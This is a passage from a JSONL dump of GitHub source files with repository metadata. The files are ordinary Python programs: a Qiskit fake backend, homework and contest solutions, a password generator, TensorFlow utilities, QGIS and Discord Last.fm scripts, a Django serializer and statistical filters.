error=0.0000232115)\n            ecr_props[(3, 2)] = InstructionProperties(duration=5.52e-9, error=0.0000232115)\n        self._target.add_instruction(ECRGate(), ecr_props)\n        self.options.set_validator(\"shots\", (1, 4096))\n\n    @property\n    def target(self):\n        return self._target\n\n    @property\n    def max_circuits(self):\n        return None\n\n    @classmethod\n    def _default_options(cls):\n        return Options(shots=1024)\n\n    def run(self, run_input, **options):\n        raise NotImplementedError\n\n\nclass FakeBackendSimple(BackendV2):\n    \"\"\"A fake simple backend that wraps BasicAer to implement run().\"\"\"\n\n    def __init__(self):\n        super().__init__(\n            None,\n            name=\"FakeSimpleV2\",\n            description=\"A fake simple BackendV2 example\",\n            online_date=datetime.datetime.now(datetime.timezone.utc),\n            backend_version=\"0.0.1\",\n        )\n        self._lam = Parameter(\"lambda\")\n        self._target = Target(num_qubits=20)\n        self._target.add_instruction(SXGate())\n        self._target.add_instruction(XGate())\n        self._target.add_instruction(RZGate(self._lam))\n        self._target.add_instruction(CXGate())\n        self._target.add_instruction(Measure())\n        self._runner = QasmSimulatorPy()\n\n    @property\n    def target(self):\n        return self._target\n\n    @property\n    def max_circuits(self):\n        return None\n\n    @classmethod\n    def _default_options(cls):\n        return QasmSimulatorPy._default_options()\n\n    def run(self, run_input, **options):\n        self._runner._options = self._options\n        return self._runner.run(run_input, **options)\n","repo_name":"Qiskit/qiskit","sub_path":"qiskit/providers/fake_provider/fake_backend_v2.py","file_name":"fake_backend_v2.py","file_ext":"py","file_size_in_byte":7704,"program_lang":"python","lang":"en","doc_type":"code","stars":4020,"dataset":"github-code","pt":"22"}
+{"seq_id":"31225652298","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Nov  9 10:08:51 2021\nThis program uses two json files of movies and ratings and inputs the contents into a dictionary\nIt then asks for different user conditions and loops through until the user inputs 'stop' to\nterminate the program\nRuns through and finds the best and worst rated movie between the given years \n@author: Ayush\n\"\"\"\nimport json\n\nmin_year = input(\"Min year => \")\nprint(min_year)\nmin_year = int(min_year)\nmax_year = input(\"Max year => \")\nprint(max_year)\nmax_year = int(max_year)\nw1 = input(\"Weight for IMDB => \")\nprint(w1)\nw1 = float(w1)\nw2 = input(\"Weight for Twitter => \")\nprint(w2)\nw2 = float(w2)\nprint()\n\n\"\"\"\nThis function takes a list of twitter ratings for a specific movie as input and returns \na float average \n\"\"\"\ndef average_twitter_rating (ratings):\n    average = 0.0\n    for rating in ratings:\n        average += rating\n    \n    average = average / (len(ratings))\n    return average \n\n\"\"\"\nThis function takes two float weight values, a specific movie rating, and a specific movie\nqnd returns a combined rating float value calculated using the formula given in the spec\n\"\"\"\ndef compute_rating (w1, w2, rating, movie):\n    imdb_rating = movie['rating']\n    avg_rating = average_twitter_rating(rating)\n    comb_rating = (w1 * imdb_rating + w2 * avg_rating) / (w1 + w2)\n    return comb_rating\n    \n    \n## main program\nif __name__ == \"__main__\":\n    ## loads contents of json files into dictionaries \n    movies = json.loads(open(\"movies.json\").read())\n    ratings = json.loads(open(\"ratings.json\").read())\n    \n    ## list to hold (rating, movie) tuples so list can be sorted accordingly\n    movie_ratings = []\n    \n    for key in movies:\n        ## checks to make sure the movie year is within the correct bounds\n        if (movies[key]['movie_year'] <= max_year and movies[key]['movie_year'] >= min_year):\n            ## checks to make sure movie is in the twitter ratings\n            if (key in ratings.keys()):\n                ## makes sure twitter ratings list is greater then or equal to 3\n                if (len(ratings[key]) >= 3):\n                    ## uses compute rating to calculate rating for movie\n                    mov_rating = compute_rating(w1, w2, ratings[key], movies[key])\n                    movie_ratings.append((mov_rating, key))\n    \n    ## reverse sorts list to make sure highest ratings come first\n    movie_ratings.sort(reverse = True)\n                    \n    genre = input (\"What genre do you want to see? \")\n    print(genre)\n    print()\n    ## lowers and titles input to avoid case sensitivity and match format of list of genres\n    genre = genre.lower()\n    genre = genre.title()\n\n    while (genre.lower() != 'stop'):\n        best = ()\n        worst = ()\n        \n        ## finds best rated movie\n        ## essentially finds the first occurence in list of tuples that has the inputted\n        ## genre, since list is reverse sorted, first occurance would be the max\n        for rate in movie_ratings:\n            if (genre in movies[rate[1]]['genre']):\n                ## tuple in form (rating score, movie id key)\n                best = (rate[0], movies[rate[1]])\n                ## breaks to avoid unnecessary looping\n                break\n        ## loops from last index in list of tuples to find worst rated movie\n        ## finds the first occurance starting from the end of the list of tuples\n        ## since this would be the minimum rating value movies\n        i = (len(movie_ratings) - 1)\n        while (i >= 0):\n            if (genre in movies[movie_ratings[i][1]]['genre']):\n                ## tuple in form (rating score, movie id key)\n                worst = (movie_ratings[i][0], movies[movie_ratings[i][1]])\n                break\n            i -= 1\n        \n        ## checks for genre that does not exist within all movies\n        if (len(best) == 0 and len(worst) == 0):\n            print('No {} movie found in {} through {}\\n'.format(genre.title(), min_year, max_year))\n        else:\n            print('Best:')\n            print('        Released in {}, {} has a rating of {:.2f}\\n'.format(best[1]['movie_year'], best[1]['name'], best[0]))\n            print('Worst:')\n            print('        Released in {}, {} has a rating of {:.2f}\\n'.format(worst[1]['movie_year'], worst[1]['name'], worst[0]))\n        \n        ## asks for genre again to continue loop\n        genre = input (\"What genre do you want to see? \")\n        print(genre)\n        if (genre.lower() != 'stop'):\n            print() \n        genre = genre.lower()\n        genre = genre.title()\n            ","repo_name":"ayushk1122/CS1100","sub_path":"hw 7/hw7_part2.py","file_name":"hw7_part2.py","file_ext":"py","file_size_in_byte":4590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"8236409275","text":"import turtle\nio = turtle.Pen()\nio.width(4)\nio.color(\"red\")\nfor i in range(1,360):\n    io.right(i*47)\n    for j in range(15):\n        io.right(8*i)\n        io.forward(j*i)\n        io.width(i % 180)\n        if i > 180:\n            io.color(\"purple\")\n\n\n\n\nnumber = input()","repo_name":"beezzz123/python","sub_path":"old school/черепаха.py","file_name":"черепаха.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"37294085081","text":"import random\nletters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']\nnumbers = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\nsymbols = ['!', '#', '$', '%', '&', '(', ')', '*', '+']\n\nprint(\"Bem-vindo ao Gerador PyPassword!\")\nnr_letters= int(input(f\"Quantas letras você gostaria em sua senha?\\n\")) \nnr_symbols = int(input(f\"Quantos símbolos você gostaria?\\n\"))\nnr_numbers = int(input(f\"Quantos números você gostaria?\\n\"))\n\n\nsenha_lista = []\n\nfor carac in range(1, nr_letters + 1):\n    senha_lista.append(random.choice(letters))\n\nfor carac in range(1, nr_symbols + 1):\n    senha_lista += random.choice(symbols)\n\nfor carac in range(1, nr_numbers + 1):\n    senha_lista += random.choice(numbers)\n\nrandom.shuffle(senha_lista)\n\nsenha = ''\nfor carac in senha_lista:\n    senha += carac\n\nprint(f'Sua senha é {senha}')","repo_name":"caubineto/PyPassword","sub_path":"PyPassword.py","file_name":"PyPassword.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"28517986894","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport itertools\n\nimport six\n\nfrom tensorflow.python.util import tf_inspect\n\n\ndef getnamespace(f):\n  \"\"\"Returns the complete namespace of a function.\n\n  Namespace is defined here as the mapping of all non-local variables to values.\n  This includes the globals and the closure variables. Note that this captures\n  the entire globals collection of the function, and may contain extra symbols\n  that it does not actually use.\n\n  Args:\n    f: User defined function.\n  Returns:\n    A dict mapping symbol names to values.\n  \"\"\"\n  namespace = dict(six.get_function_globals(f))\n  closure = six.get_function_closure(f)\n  freevars = six.get_function_code(f).co_freevars\n  if freevars and closure:\n    for name, cell in zip(freevars, closure):\n      namespace[name] = cell.cell_contents\n  return namespace\n\n\ndef getdefiningclass(m, owner_class):\n  \"\"\"Resolves the class (e.g. one of the superclasses) that defined a method.\"\"\"\n  m = six.get_unbound_function(m)\n  last_defining = owner_class\n  for superclass in tf_inspect.getmro(owner_class):\n    if hasattr(superclass, m.__name__):\n      superclass_m = getattr(superclass, m.__name__)\n      if six.get_unbound_function(superclass_m) == m:\n        last_defining = superclass\n  return last_defining\n\n\ndef getmethodclass(m):\n  \"\"\"Resolves a function's owner, e.g. a method's class.\n\n  Note that this returns the object that the function was retrieved from, not\n  necessarily the class where it was defined.\n\n  This function relies on Python stack frame support in the interpreter, and\n  has the same limitations that inspect.currentframe.\n\n  Limitations. This function will only work correctly if the owned class is\n  visible in the caller's global or local variables.\n\n  Args:\n    m: A user defined function\n\n  Returns:\n    The class that this function was retrieved from, or None if the function\n    is not an object or class method, or the class that owns the object or\n    method is not visible to m.\n\n  Raises:\n    ValueError: if the class could not be resolved for any unexpected reason.\n  \"\"\"\n\n  # Callable objects: return their own class.\n  if (not hasattr(m, '__name__') and hasattr(m, '__class__') and\n      hasattr(m, '__call__')):\n    if isinstance(m.__class__, six.class_types):\n      return m.__class__\n\n  # Instance method and class methods: should be bound to a non-null \"self\".\n  # If self is a class, then it's a class method.\n  if hasattr(m, '__self__'):\n    if m.__self__:\n      if tf_inspect.isclass(m.__self__):\n        return m.__self__\n      return type(m.__self__)\n\n  # Class, static and unbound methods: search all defined classes in any\n  # namespace. This is inefficient but more robust method.\n  owners = []\n  caller_frame = tf_inspect.currentframe().f_back\n  try:\n    # TODO(mdan): This doesn't consider cell variables.\n    # TODO(mdan): This won't work if the owner is hidden inside a container.\n    # Cell variables may be pulled using co_freevars and the closure.\n    for v in itertools.chain(caller_frame.f_locals.values(),\n                             caller_frame.f_globals.values()):\n      if hasattr(v, m.__name__):\n        candidate = getattr(v, m.__name__)\n        # Py2 methods may be bound or unbound, extract im_func to get the\n        # underlying function.\n        if hasattr(candidate, 'im_func'):\n          candidate = candidate.im_func\n        if hasattr(m, 'im_func'):\n          m = m.im_func\n        if candidate is m:\n          owners.append(v)\n  finally:\n    del caller_frame\n\n  if owners:\n    if len(owners) == 1:\n      return owners[0]\n\n    # If multiple owners are found, and are not subclasses, raise an error.\n    owner_types = tuple(o if tf_inspect.isclass(o) else type(o) for o in owners)\n    for o in owner_types:\n      if tf_inspect.isclass(o) and issubclass(o, tuple(owner_types)):\n        return o\n    raise ValueError('Found too many owners of %s: %s' % (m, owners))\n\n  return None\n","repo_name":"ryfeus/lambda-packs","sub_path":"Keras_tensorflow_nightly/source2.7/tensorflow/contrib/autograph/pyct/inspect_utils.py","file_name":"inspect_utils.py","file_ext":"py","file_size_in_byte":3993,"program_lang":"python","lang":"en","doc_type":"code","stars":1104,"dataset":"github-code","pt":"22"}
+{"seq_id":"5707085575","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# multi-thread SQL example\n# CodeFuture@CA\n\n# 导入socket库:\nimport threading\nimport time\nimport mysql.connector\nimport random\nimport sys\n\nH = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'\nindex = 0\n\ndef loop(items):\n    print('thread %s is running...' % threading.current_thread().name)\n    i = 0\n    while i < 10:\n        name = ''.join(random.sample(H, 5))\n        print(name)\n        i = i + 1\n        time.sleep(1)\n    \n    print('thread %s is finished.' % threading.current_thread().name)\n\nthreadList = []\n\nMAX_TRD = 3 # 最多允许同时运行的线程数\nif len(sys.argv) == 2:\n    MAX_TRD = int(sys.argv[1])\n\nwhile True:\n    trdCount = threading.activeCount()\n    print('当前执行线程数：%s' % (trdCount,))\n    if  trdCount > MAX_TRD:\n        time.sleep(5)\n        continue\n\n    t = threading.Thread(target=loop, args=(index,), name='WorkThread' + str(index))\n    t.start()\n    threadList.append(t)\n    index = index + 1\n    if index > 20:\n        break\n\nfor t in threadList:\n    t.join()\n\nprint('程序结束。')","repo_name":"zhangyuenet/codefuture","sub_path":"python/Phase4/L36.多线程/multi3.py","file_name":"multi3.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"40831924750","text":"import sys\nimport math \nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import *\n\n# configure input and output layers\nlayerPoints = 'mypoints'\noutpuLayer = 'linesoutput'\n\n# let's access the 'mypoints' layer\npointLayer = QgsProject.instance().mapLayersByName(layerPoints)[0]\npointFeatures = pointLayer.getFeatures(QgsFeatureRequest())\n\n# create a new memory layer\n# set the right crs\nlineOutputLayer = QgsVectorLayer(\"LineString?crs=EPSG:3115\", outpuLayer, \"memory\")\npr = lineOutputLayer.dataProvider()\n\ndef createLineFeatureAroundPoint(x,y,distance,segments):\n    lineStart = QgsPoint(x,y)\n    steps=int(360/segments)\n    for n in range(0,360,steps):\n        alpha = (n * math.pi) / 180\n        xx = x + (distance * math.cos(alpha))\n        yy = y + (distance * math.sin(alpha))\n        lineEnd = QgsPoint(xx,yy)   \n        # create a new feature\n        seg = QgsFeature()\n        # add the geometry to the feature, \n        seg.setGeometry(QgsGeometry.fromPolyline([lineStart, lineEnd]))\n        # add the geometry to the layer\n        pr.addFeatures( [ seg ] )\n\n# now loop through the features, perform geometry computation and create the lines\nfor f in pointFeatures:\n  geom = f.geometry()\n  x = geom.asPoint().x()\n  y = geom.asPoint().y()\n  #execute createLineFeatureAroundPoint function \n  createLineFeatureAroundPoint(x,y,100,8)\n  \n# update extent of the layer (not necessary)\nlineOutputLayer.updateExtents()  \n# show the line  \nQgsProject.instance().addMapLayer(lineOutputLayer)  \n\n\n\n\n","repo_name":"AndresHerrera/QGIS_LinesArroundPoints","sub_path":"lines_arround_points.py","file_name":"lines_arround_points.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"70145223096","text":"#!/usr/bin/python\n\nfrom pypresence import Presence\nfrom os import getenv\nfrom time import sleep, time\nfrom requests import get\nfrom json import loads as json_loads\nfrom dotenv import load_dotenv\n\n#load env variables from .env file\nload_dotenv()\n\n#connect to discord client\nRPC = Presence(getenv(\"DISCORD\"))\nRPC.connect()\nprint(\"connected\")\n\ndef lastfm():\n    headers = {\n        'user-agent': 'currently_playing_viewer'\n    }\n\n    payload = {\n        'api_key': str(getenv(\"KEY\")),\n        'method': 'user.getrecenttracks',\n        'user': str(getenv(\"LASTFM_USER\")),\n        'nowplaying': 'true',\n        'limit': '1',\n        'format': 'json'\n    }\n\n    response = get('https://ws.audioscrobbler.com/2.0/', headers=headers, params=payload)\n\n    names_dict = json_loads(open('names-dict.txt', 'r').read())\n\n    response = dict(response.json())\n    try: nowplaying = response[\"recenttracks\"][\"track\"][0]\n    except: return(1)\n    album_name = nowplaying[\"album\"][\"#text\"]\n    title = nowplaying[\"name\"]\n    artist = nowplaying[\"artist\"][\"#text\"]\n\n    try:\n        playing_status = response[\"recenttracks\"][\"track\"][0]['@attr'][\"nowplaying\"]\n    except: playing_status = False\n\n    if playing_status == \"true\":\n        playing_status = True\n\n    if album_name == \"\":\n        album_name = \"Cupcake Landers\"\n\n    return album_name, names_dict[album_name], title, artist, playing_status\n\ndef main():\n    #variable\n    old_title = \"\"\n\n    #keep program constantly running\n    while True:\n        #get new data from last.fm\n        try: album_name, asset_name, title, artist, playing_status = lastfm()\n        except: continue\n        sleep(15)\n\n        if old_title == \"\": #edge case\n            #update RPC with title of song, playing status, start time, and album art + album name\n            RPC.update(state=\"By {}\".format(artist), details=title,\n            large_image=asset_name, large_text=album_name,\n            small_image='lollypop', small_text=\"Lollypop Music Player\")\n            old_title = title\n            continue\n\n        elif old_title != title and playing_status == True:\n            #update RPC with title of song, playing status, start time, and album art + album name\n            RPC.update(state=\"By {}\".format(artist), details=title,\n            large_image=asset_name, large_text=album_name,\n            small_image='lollypop', small_text=\"Lollypop Music Player\")\n            old_title = title\n            continue\n\n        elif playing_status == False:\n            RPC.clear()\n            continue\n\n        #if track is same as track from previous check, do not update\n        elif old_title == title:\n            continue\n\n        else:\n            RPC.update(state=\"By {}\".format(artist), details=title,\n            large_image=asset_name, large_text=album_name,\n            small_image='lollypop', small_text=\"Lollypop Music Player\")\n            old_title = title\n            continue\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"ndebruin/discord-lastfm","sub_path":"discord-lastfm.py","file_name":"discord-lastfm.py","file_ext":"py","file_size_in_byte":2952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"7642502828","text":"from logging import getLogger\n\nfrom pydantic import ValidationError\nfrom rest_framework import serializers\n\nfrom laid_out.gratitude.models import GratitudeJournal, GratitudeJournalData, default_g_journal_data\n\nlog = getLogger(__name__)\n\n\nclass GratitudeJournalSerializer(serializers.Serializer):\n    g_journal_id = serializers.UUIDField(read_only=True)\n    g_journal_name = serializers.CharField(max_length=50, required=False, default=\"New Gratitude\")\n    g_journal_data = serializers.ListField(required=False, default=default_g_journal_data)\n    date_created = serializers.DateTimeField(read_only=True)\n    date_modified = serializers.DateTimeField(read_only=True)\n\n    @staticmethod\n    def validate_g_journal_name(data):\n        if data == \"\":\n            return \"New Gratitude\"\n        return data\n\n    @staticmethod\n    def validate_g_journal_data(data):\n        try:\n            _ = {\"g_journal_data\": GratitudeJournalData(data=data)}\n        except ValidationError as e:\n            raise serializers.ValidationError(e)\n\n        return data\n\n    def create(self, validated_data):\n        try:\n            request = self.context.get(\"request\")\n            if request and hasattr(request, \"user\"):\n                user = request.user\n            else:\n                raise serializers.ValidationError(\"Gratitude journals can only be created by registered users\")\n            created = GratitudeJournal.objects.create(owner=user, **validated_data)\n            return created\n        except Exception as e:\n            log.error(f\"Unexpected error occurred at GratitudeJournalSerializer create(): {e}\")\n            raise\n\n    def update(self, instance, validated_data):\n        try:\n            instance.g_journal_data = validated_data.get(\"g_journal_data\")\n            instance.g_journal_name = validated_data.get(\"g_journal_name\")\n            instance.save()\n\n            return instance\n        except Exception as e:\n            log.error(f\"Unexpected error occurred at GratitudeJournalSerializer update(): {e}\")\n            raise\n","repo_name":"chopin-coding/laid-out","sub_path":"laid_out/gratitude/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"36168247543","text":"from __future__ import print_function\nfrom __future__ import division\nfrom __future__ import absolute_import\n\nimport numpy as np\nfrom sklearn.mixture import GaussianMixture\n\n\nclass Filter(object):\n    def __init__(self):\n        object.__init__(self)\n\n    @staticmethod\n    def get_type():\n        raise NotImplementedError\n\n    @staticmethod\n    def get_weights(output_values, observed_value, observed_std, **kwargs):\n        raise NotImplementedError\n\n\nclass GaussianFilter(Filter):\n    \"\"\"\n    Gaussian Likelihood\n    \"\"\"\n\n    # def __init__(self):\n    #    Filter.__init__(self)\n\n    @staticmethod\n    def get_type():\n        return 'gaussian'\n\n    @staticmethod\n    def get_weights(output_values, observed_value, observed_std, **kwargs):\n        \"\"\"\n        :param output_values:\n        :param observed_value:\n        :param observed_std:\n        :param kwargs:\n        :return:\n        \"\"\"\n        if observed_std < 0:\n            raise ValueError(\"Standard deviation cannot be less than zero.\"\n                             \"(experiment_stddev: {})\".format(observed_std))\n\n        if 'sigma_cut' in kwargs:\n            sigma_cut = kwargs['sigma_cut']\n            if sigma_cut < 0:\n                raise ValueError(\"Sigma cutoff cannot be less than zero.\"\n                                 \"(sigma_cut: {})\".format(sigma_cut))\n        else:\n            sigma_cut = 1.0\n\n        np_weights = np.exp(-0.5 * (((output_values - observed_value) / observed_std) ** 2.0))\n\n        return np.where(np.logical_and(output_values >= (observed_value - (sigma_cut * observed_std)),\n                                       output_values <= (observed_value + (sigma_cut * observed_std))),\n                        np_weights, 0.0)\n\n\nclass LogGaussianFilter(Filter):\n\n    @staticmethod\n    def get_type():\n        return 'log-gaussian'\n\n    @staticmethod\n    def get_weights(output_values, observed_value, observed_std, **kwargs):\n        \"\"\"\n        Log gaussian normal pdf\n\n        optimized for speed\n\n        :param output_values:\n        :param observed_value:\n        :param observed_std:\n        :param kwargs:\n        :return:\n        \"\"\"\n\n        return -0.5 * (((output_values - observed_value) / observed_std) ** 2.0)\n\n\nclass StudentTFilter(Filter):\n    \"\"\"\n    Student T Filter\n    Based on Student's T distribution. Has fatter tails than the Gaussian Filter.\n    Approaches Gaussian Filter as df -> inf\n    \"\"\"\n\n    @staticmethod\n    def get_type():\n        return 'student-t'\n\n    @staticmethod\n    def get_weights(output_values, observed_value, observed_std, **kwargs):\n        \"\"\"\n        :param output_values:\n        :param observed_value:\n        :param observed_std:\n        :param kwargs:\n        :return:\n        \"\"\"\n        if observed_std < 0:\n            raise ValueError(\"Standard deviation cannot be less than zero.\"\n                             \"(experiment_stddev: {})\".format(observed_std))\n\n        if 'df' in kwargs:\n            df = float(kwargs['df'])\n            if df <= 0:\n                raise ValueError(\"Degrees of freedom must be positive.\"\n                                 \"(df: {})\".format(df))\n        else:\n            df = 1.0\n\n        if 'sigma_cut' in kwargs:\n            sigma_cut = kwargs['sigma_cut']\n            if sigma_cut < 0:\n                raise ValueError(\"Sigma cutoff cannot be less than zero.\"\n                                 \"(sigma_cut: {})\".format(sigma_cut))\n        else:\n            sigma_cut = 1.0\n\n        np_weights = np.power(1.0 + (((output_values - observed_value) / observed_std) ** 2.0) / df, -(df + 1.0) / 2.0)\n\n        return np.where(np.logical_and(output_values >= (observed_value - (sigma_cut * observed_std)),\n                                       output_values <= (observed_value + (sigma_cut * observed_std))),\n                        np_weights, 0.0)\n\n\nclass TophatFilter(Filter):\n\n    @staticmethod\n    def get_type():\n        return 'top-hat'\n\n    @staticmethod\n    def get_weights(output_values, observed_value, observed_std, **kwargs):\n        \"\"\"\n        :param output_values:\n        :param observed_value:\n        :param observed_std:\n        :param kwargs:\n        :return:\n        \"\"\"\n\n        if 'sigma_cut' in kwargs:\n            sigma_cut = kwargs['sigma_cut']\n            if sigma_cut < 0:\n                raise ValueError(\"Sigma cutoff cannot be less than zero.\"\n                                 \"(sigma_cut: {})\".format(sigma_cut))\n        else:\n            sigma_cut = 1.0\n\n        if observed_std < 0:\n            raise ValueError(\"Standard deviation cannot be less than zero.\"\n                             \"(experiment_stddev: {})\".format(observed_std))\n\n        return np.where(np.logical_and(output_values >= (observed_value - sigma_cut),\n                                       output_values <= (observed_value + sigma_cut)),\n                        1.0, 0.0)\n\n\nclass LogTophatFilter(Filter):\n\n    @staticmethod\n    def get_type():\n        return 'log-top-hat'\n\n    @staticmethod\n    def get_weights(output_values, observed_value, observed_std, **kwargs):\n        return np.where(np.logical_and(output_values >= (observed_value - observed_std),\n                                       output_values <= (observed_value + observed_std)),\n                        0.0, float('-inf'))\n\n\nclass GaussianMixtureFilter(Filter):\n\n    @staticmethod\n    def get_type():\n        return 'gaussian-mixture'\n\n    @staticmethod\n    def get_weights(output_values, observed_value, observed_std, **kwargs):\n        \"\"\"\n        :type array-like [[]]\n        :param output_values:\n\n        :type array-like [[]]\n        :param observed_value:\n\n        :type array-like [[]]\n        :param observed_std:\n\n        :param kwargs:\n\n        :type numpy array\n        :return:\n\n        The Gaussian Mixture Filter both filters and combines weights all at once.\n        Inputs are expected to be multidimensional and in list (i.e. 2d arrays)\n        \"\"\"\n\n        np_x_data = None\n\n        for obs, std in zip(observed_value, observed_std):\n\n            np_cov = np.diag(std) ** 2\n\n            np.random.seed(20150515)\n            dx = np.random.multivariate_normal(obs, np_cov, 30).T\n            if np_x_data is None:\n                np_x_data = np.c_[dx]\n            else:\n                np_x_data = np.c_[np_x_data, dx]\n\n        # Find optimal number of components by minimizing Bayesian Information Criteria\n        ls_bic_scores = []\n        for i in range(len(observed_value)):\n            gmm = GaussianMixture(n_components=i + 1, covariance_type='full')\n            gmm.fit(np_x_data.T)\n            ls_bic_scores += [gmm.bic(np_x_data.T)]\n        num_min_bic = ls_bic_scores.index(min(ls_bic_scores))\n\n        # Fit model\n        gmm = GaussianMixture(n_components=num_min_bic + 1, covariance_type='full', n_init=10)\n        gmm.fit(np_x_data.T)\n\n        # Weight is the probability of point being in the model\n        np_log_prob = np.array([gmm.score(val[np.newaxis, :]) for val in output_values])\n\n        return np.exp(np_log_prob - np_log_prob.max())\n","repo_name":"LLNL/ibis","sub_path":"ibis/filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":7028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"16729610747","text":"#!/usr/bin/env python3.8\nfrom collections import defaultdict\nimport sys\nsys.setrecursionlimit(300000) \n\n\nN = int(input())\nG = defaultdict(list)\nfor i in range(N - 1):\n  num = i + 2\n  b = int(input())\n  G[b].append(num)\n\n\n# print(G)\n\nsalaries = [None] * (2 + N)\n\ndef dfs(s):\n  if len(G[s]) == 0:\n    salaries[s] = 1\n    return\n\n  max_s = 0\n  min_s = 1e18\n  if len(G[s]) == 0:\n    min_s = 0\n\n  for child in G[s]:\n    dfs(child)\n    max_s = max(max_s, salaries[child])\n    min_s = min(min_s, salaries[child])\n\n  salaries[s] = max_s + min_s + 1\n\ndfs(1)\n\n# print(salaries)\nprint(salaries[1])","repo_name":"harukaeru/CompetitiveProgramming","sub_path":"abc026/C/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"11894534801","text":"import os\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport time\nfrom datetime import datetime\n\npath = os.getcwd()\n\nhistory_directory_path = \"./scripts/market-client/execution-history\"\nhistory_files = [filename for filename in os.listdir(history_directory_path) if os.path.isfile(os.path.join(history_directory_path, filename))]\nhistory_files.remove(\".gitkeep\")\nhistory_file_path = history_directory_path + \"/\" + sorted(history_files)[-1]\n\ndata_line = []\ndata_plot_x = []\ndata_plot_y = []\n\nstock_symbol = \"\"\n\nwith open(history_file_path, 'r') as data_file:\n    for line in data_file:\n        data_line = line.split(\",\")\n        if(data_line[0] == \"Symbol\"):\n            continue\n\n        stock_symbol = data_line[0].strip()\n        data_plot_x.append(data_line[2].strip())\n        data_plot_y.append(float(data_line[1].strip()))\n\n\nsize = len(data_plot_y)\n\ndownsample_factor = len(data_plot_x) // size\n\nx_values = data_plot_x[::downsample_factor]\ny_values = data_plot_y[::downsample_factor]\n\nfig, ax = plt.subplots()\n\nax.plot(x_values,y_values)\n\nplt.xticks(ticks=[x_values[0], x_values[-1]])\nplt.yticks(np.arange(min(y_values), max(y_values), (max(y_values) - min(y_values)) // 10))\n\nax.set(xlabel='Time (at 20/12/2019)', ylabel='Price (R$)',\n       title='{} Price variation over time (Simulation)'.format(stock_symbol))\nax.grid()\n\n\n\nfilename = path + '/data/plots/' + stock_symbol + \"_execution_history_plot_price_\" + datetime.utcnow().strftime('%T.%f')[:-3] + \".png\"\nprint(filename)\nfig.savefig(filename)\n","repo_name":"MSantosAlves/simulador","sub_path":"scripts/b3/data-plot/02_plot_execution_history.py","file_name":"02_plot_execution_history.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"42941344742","text":"#coding:utf-8\n'''\n输入一个矩阵，按照从外向里以顺时针的顺序依次打印出每一个数字。\n\n示例：\n输入：matrix = [[1,2,3],[4,5,6],[7,8,9]]\n输出：[1,2,3,6,9,8,7,4,5]\n\n'''\n\nclass Solution:\n    def spiralOrder(self, matrix):\n        if not matrix:\n            return []\n        l, r, t, b = 0, len(matrix[0]) - 1, 0, len(matrix) - 1\n        res = []\n        while True:\n            for i in range(l, r + 1):\n                res.append(matrix[t][i])\n            t += 1\n            if t > b:\n                break\n            for i in range(t, b + 1):\n                res.append(matrix[i][r])\n            r -= 1\n            if l > r:\n                break\n            for i in range(r, l-1, -1):\n                res.append(matrix[b][i])\n            b -= 1\n            if t > b:\n                break\n            for i in range(b, t - 1, -1):\n                res.append(matrix[i][l])\n            l += 1\n            if l > r:\n                break\n        return res","repo_name":"BoatInTheRiver/codes_algorithm","sub_path":"剑指Offer/剑指 Offer 29. 顺时针打印矩阵.py","file_name":"剑指 Offer 29. 顺时针打印矩阵.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
